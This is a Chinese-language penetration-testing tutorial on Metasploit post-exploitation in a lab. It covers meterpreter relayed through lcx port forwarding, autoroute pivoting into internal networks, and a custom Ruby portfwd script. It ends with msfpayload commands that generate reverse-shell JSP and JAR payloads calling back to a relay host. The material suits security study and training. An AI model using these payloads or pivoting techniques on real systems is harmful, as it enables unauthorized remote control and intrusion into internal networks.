0x00 問題描述
在滲透測試時,metasploit往往作為后滲透工具,(因為遠程溢出越來越少).我一般都是在獲得一個webshell后,來使用metasploit進行信息采集,或者內網掃描等操作。而大多數站點都是內網ip。而本屌絲自己的機器也是內網ip,那么兩個內網ip怎么建立連接?
0x01 解決辦法
以前總是使用lcx做端口轉發連接站點的3389,是否也可以用lcx將metasploit和站點兩個內網ip進行連接?發現是可行的。具體操作步驟如下:
網絡環境:
Metasploit:192.168.7.84
目標站點: 192.168.244.148
公網ip: 192.168.7.89
我的目的是將244.148 與7.84進行連接。大概過程如下:
1.在公網ip機器上使用lcx建立監聽兩個端口600、500
2.在metasploit中使用exploit/multi/handler模塊,利用payload windows/meterpreter/bind_tcp 連接公網ip的600端口。(這相當於在公網ip上執行了windows/meterpreter/bind_tcp模塊,綁定的端口是500)
3.制作一個msfpayload 模塊選擇windows/meterpreter/reverse_tcp,連接公網ip的500端口。這樣可以將兩個機器進行連接。
具體測試如下:
1)在公網ip上監聽兩個端口
2) 在metasploit調用exploit/multi/handler 模塊,這里使用資源加載方法,個人理解相當於windows的批處理功能。將要執行的命令存入文件,然后可以使用msf的resource功能加載,則里面的命令都會順序執行。
其中/tmp/rc/handle.rc中內容如下
然后執行exploit命令,開始執行
則此時公網連接狀態
等待客戶端進行連接。
現在使用msfpayload生成windows/meterpreter/reverse_tcp的payload
命令行下查看windows/meterpreter/reverse_tcp 需要的選項
需要兩個參數LHOST和LPORT,分別是要連接的ip和端口,我這里需要連接的遠程ip是192.168.7.89,端口是500
可以看到響應設置,這里有一個X,看一下表示的意思
X其實表示的是exe的X,msfpayload支持很多種語言如P表示Perl,N表示Python等。
生成了payload需要傳到目標站點上
在目標站點上執行payload,則公網的lcx開始轉發數據
獲得一個meterpreter控制台
可以開始進行執行命令了。
如果你覺得命令行用着不爽,可以直接使用run vnc命令,獲得一個gui操作。真牛叉。
初次接觸msf最令人興奮的莫過於跳板功能,通過msf添加路由功能,可以直接使用msf對本來不能訪問的內網進行連接(建立訪問連接是滲透的第一步),一旦建立連接那么就是想干什么都可以真是強大無比。
使用meterpreter的autoroute功能,即可完成該操作。首先使用get_local_subnets腳本獲得受控系統本地子網,然后使用autoroute腳本添加路由。這樣操作后就會看到添加的路由表,網關是session 3即payload程序。如果我在msf指定某個模塊的ip地址是192.168.244.*,則會通過session3 網關進行轉發,訪問到目標ip.
跟建立網絡連接的還有一個經常使用的,就是網絡映射功能,meterpreter中有一個getgui腳本(我的bt下腳本存放路徑/opt/metasploit/msf3/scripts/meterpreter里面有很多寫好的腳本,如下圖所示)
在《metasploit滲透測試指南》上說,getgui可以將遠程的3389映射到本地的指定端口,功能,這就是一個網絡映射過程。
看其使用方法,很簡單,這里我不添加用戶名和密碼,直接建立連接。運行run getgui -e -f 8080
執行后建立了連接
可以建立連接,轉發成功了。
但是在滲透測試中需求,總是在變化的,以前也有過需求,將內網的某個端口映射出來,進行連接,是否也可以做到?帶着這個問題,我看了一下getgui的實現代碼。
我沒有學過ruby,但是看了這樣代碼,很容易明白,剛才執行的run getgui -e -f 8080時,則含有-f則frwrd變量設置為true。並且保存-f后面的端口到變量lport中,而下面當frwrd為true,則會調用portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1 將遠程3389(相對於payload即是127.0.0.1)映射到本地的指定的端口。
可見建立網絡映射只需要這條命令即可。搜索該命令所在文件:
發現是在/opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb中定義的。
應該是該命令的具體實現。從參數中很容易看出來。各個參數的含義。
可以看到支持很多命令add、delete、list等。
因此,照貓畫虎。如果我想將遠程主機的10081端口映射到本地的10081端口,那怎么實現?
只需要一句話
client.run_cmd("portfwd add -L 0.0.0.0 -l 10081 -p 10081 -r 127.0.0.1")
在/opt/metasploit/msf3/scripts/meterpreter目錄下創建changeport.rb
運行一下創建的腳本
看一下端口狀態:
映射已經成功。
從剛才portfwd的命令可以知道,其支持add、delete、list命令,因此繼續豐富自己的腳本,可以實現這樣一個功能,添加端口映射、刪除端口映射、查看端口映射。照貓畫虎可以寫出如下腳本:
# Author: buchedan.org
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ true, "Help menu." ],
"-c" => [ true, "include -add -list -del. " ],
"-l" => [ true, "localport and it is not using." ],
"-r" => [ true, "remoteip of trying to connect." ],
"-p" => [ true, "remoteport of trying to connect." ]
)
def usage
print_line("portfwd ")
print_line("Usage: changeport -c add -l <localport> -r <remoteip> -p <remoteport>")
print_line("Usage: changeport -c list ")
print_line("Usage: changeport -c del -l <localport> ")
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
def message
print_status "portfwd remoteip port to localport"
print_status "http://buchedan.org"
end
################## MAIN ##################
# Parsing of Options
cmd = nil
lport = nil
rip = nil
rport = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-c"
cmd = val
when "-h"
usage
when "-l"
lport = val
when "-r"
rip = val
when "-p"
rport = val
end
}
if client.platform =~ /win32|win64/
if args.length > 0
# show info
message
case cmd
when "list"
client.run_cmd("portfwd list")
when "add"
if (!lport or !rip or !rport)
print_error("You must supply a local port, remote host, and remote port.")
return
end
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}")
#print_status("Starting the #{rip}:#{rport} forwarding at local port #{lport}")
when "del"
if(!lport)
print_error("You must supply a local port.")
return
else
client.run_cmd("portfwd delete -L 0.0.0.0 -l #{lport}")
end
end
else
usage
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
放入到/opt/metasploit/msf3/scripts/meterpreter下
使用方法演示
可以顯示幫助信息,建立映射,顯示映射,刪除映射。當然鳥語寫的不好,只有自己能看懂。
后來驀然回首,才發現當初的自己是多么的2,原來meterpreter本身就有這個portfwd功能,可以直接使用,我真是脫褲子放屁了。完全實現了add、list與delete。
0x02 總結
本文主要學習,使用lcx做端口轉發,將兩個內網機器(目標機器和msf)建立連接,同時使用msfpayload進行作為跳板,可以進行繼續滲透。最后是簡單實現端口映射,了解基本的mterpreter腳本編程。
這里測試幾個常用的:
Jsp版
1)生成jsp版反向連接代碼
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.7.89 LPORT=500 R > /tmp/door.jsp
Msf中設置,然后在7.89上使用lcx轉發即可。
成功后顯示是一個命令行:
但是好像不能使用meterpreter功能。
看生成的door.jsp內容
就是將命令進行了綁定。應該不能升級到meterpreter了。
Jar包版
1)創建jar
msfpayload java/meterpreter/reverse_tcp LHOST=192.168.7.89 LPORT=500 R > /tmp/door.jar
公網ip lcx開始監聽兩端口
Msf設置
在客戶端運行jar即可
貌似運行的還很穩定正常